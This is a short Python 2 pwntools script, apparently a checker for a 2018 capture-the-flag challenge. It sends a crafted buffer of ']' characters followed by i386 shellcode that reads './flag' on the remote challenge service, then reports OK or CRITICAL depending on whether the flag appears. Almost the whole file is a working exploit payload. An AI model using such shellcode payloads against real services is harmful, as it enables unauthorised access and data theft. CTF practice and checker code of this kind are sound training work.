paper.8e70f3effced37b96e5053222f673d63.py

paper.8e70f3effced37b96e5053222f673d63.py

#!/usr/bin/python2
import sys
from pwn import *
context(arch="i386")
context.log_level = 'error'

r = remote("ecsc18.hack.cert.pl", 10015)
r.readuntil("\n")

pnum = 31

payload = ']'*(256-pnum) + '+[\x6a\x00'+asm(shellcraft.i386.linux.readfile("./flag", dst=1))

r.send(payload)
r.shutdown()

if "ecsc{_flag_was_here_}" in r.recvall():
    print "OK - Flag found"
    sys.exit(0)

print "CRITICAL - No flag!"
sys.exit(2)